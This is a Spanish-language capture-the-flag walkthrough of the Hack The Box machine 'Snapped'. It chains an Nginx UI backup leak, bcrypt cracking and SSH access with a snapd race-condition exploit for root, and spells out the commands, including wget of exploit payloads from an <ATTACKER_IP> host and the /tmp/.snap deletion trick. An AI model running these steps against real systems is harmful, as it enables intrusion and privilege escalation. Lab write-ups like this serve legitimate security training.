
# HTB Snapped — Writeup de máquina Linux difícil. CVE-2026-27944 (divulgación de copia de seguridad no autenticada en Nginx UI) encadenada con CVE-2026-3888 (LPE por condición de carrera en snapd) para lograr el compromiso total del sistema.
Writeup de la máquina HTB Snapped — Linux de dificultad Hard. CVE-2026-27944 (divulgación de copia de seguridad no autenticada en Nginx UI) encadenada con CVE-2026-3888 (condición de carrera en snapd para escalada de privilegios local) para lograr el compromiso total del sistema.
Dificultad: Hard
SO: Linux (Ubuntu 24.04)
Fecha de lanzamiento: 23 Mar 2026
CVEs: CVE-2026-27944, CVE-2026-3888
Snapped es una máquina Linux de dificultad Hard que aloja un sitio estático detrás de nginx con un panel de administración Nginx UI. El acceso inicial se obtiene explotando CVE-2026-27944 — un endpoint de copia de seguridad no autenticado que filtra las claves de cifrado AES. Tras descifrar la copia de seguridad y crackear un hash bcrypt de la base de datos SQLite, se obtiene acceso SSH. La escalada de privilegios a root se logra mediante CVE-2026-3888, una condición de carrera en snapd entre snap-confine y systemd-tmpfiles.
nmap -sCV <TARGET_IP>
Puertos abiertos: 22 (SSH), 80 (HTTP)
ffuf -u http://<TARGET_IP> -H 'Host: FUZZ.snapped.htb' \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac
Encontrado: admin.snapped.htb
echo "<TARGET_IP> snapped.htb admin.snapped.htb" | sudo tee -a /etc/hosts
Las versiones de Nginx UI anteriores a la 2.3.3 exponen /api/backup sin
autenticación. La cabecera de respuesta X-Backup-Security filtra la
clave AES-256-CBC y el IV necesarios para descifrar el archivo de copia de seguridad.
Paso 1 — Descargar la copia de seguridad y extraer clave/IV:
curl -v http://admin.snapped.htb/api/backup -o backup.zip 2>&1 \
| grep -i "X-Backup-Security"
KEY="<base64_key>"
IV="<base64_iv>"
Paso 2 — Convertir a hexadecimal y descifrar:
KEY_HEX=$(echo "$KEY" | base64 -d | xxd -p -c 256)
IV_HEX=$(echo "$IV" | base64 -d | xxd -p -c 256)
mkdir backup && cd backup
unzip ../backup.zip
openssl enc -d -aes-256-cbc \
-K $KEY_HEX -iv $IV_HEX -nopad \
-in nginx-ui.zip -out nginx-ui-decrypted.zip
unzip nginx-ui-decrypted.zip
Paso 3 — Extraer hash de la base de datos SQLite:
strings database.db | grep '\$2a\$'
# Hashes bcrypt encontrados para los usuarios: jonathan, admin
Paso 4 — Crackear el hash:
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt --force
# jonathan:<password>
Paso 5 — Acceso SSH:
ssh [email protected]
cat ~/user.txt
CVE-2026-3888 es una escalada de privilegios local en snapd que afecta a Ubuntu 24.04. Abusa de una condición de carrera TOCTOU entre dos componentes del sistema:
/tmp/.snapCuando systemd-tmpfiles elimina /tmp/.snap, un atacante puede recrearlo
con contenido malicioso. Cuando snap-confine inicializa un
sandbox, monta por bind el directorio controlado por el atacante con
privilegios de root, permitiendo el secuestro del enlazador dinámico.
Paso 1 — Verificar la versión vulnerable:
snap version
# snapd 2.63.1+24.04 — vulnerable (corregido en 2.73)
Paso 2 — Compilar el exploit en la máquina del atacante:
git clone https://github.com/<repo>/CVE-2026-3888
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
Paso 3 — Transferir al objetivo:
# Máquina del atacante
python3 -m http.server 8080
# Objetivo
wget http://<ATTACKER_IP>:8080/exploit -O ~/exploit
wget http://<ATTACKER_IP>:8080/librootshell.so -O ~/librootshell.so
chmod +x ~/exploit
Paso 4 — Ejecutar el exploit:
# Sesión 1 — ejecutar el exploit
~/exploit ~/librootshell.so
# Sesión 2 — activar la limpieza cuando veas "Polling..."
rm -rf /tmp/.snap
Paso 5 — Shell root:
/var/snap/firefox/common/bash -p
whoami
# root
cat /root/root.txt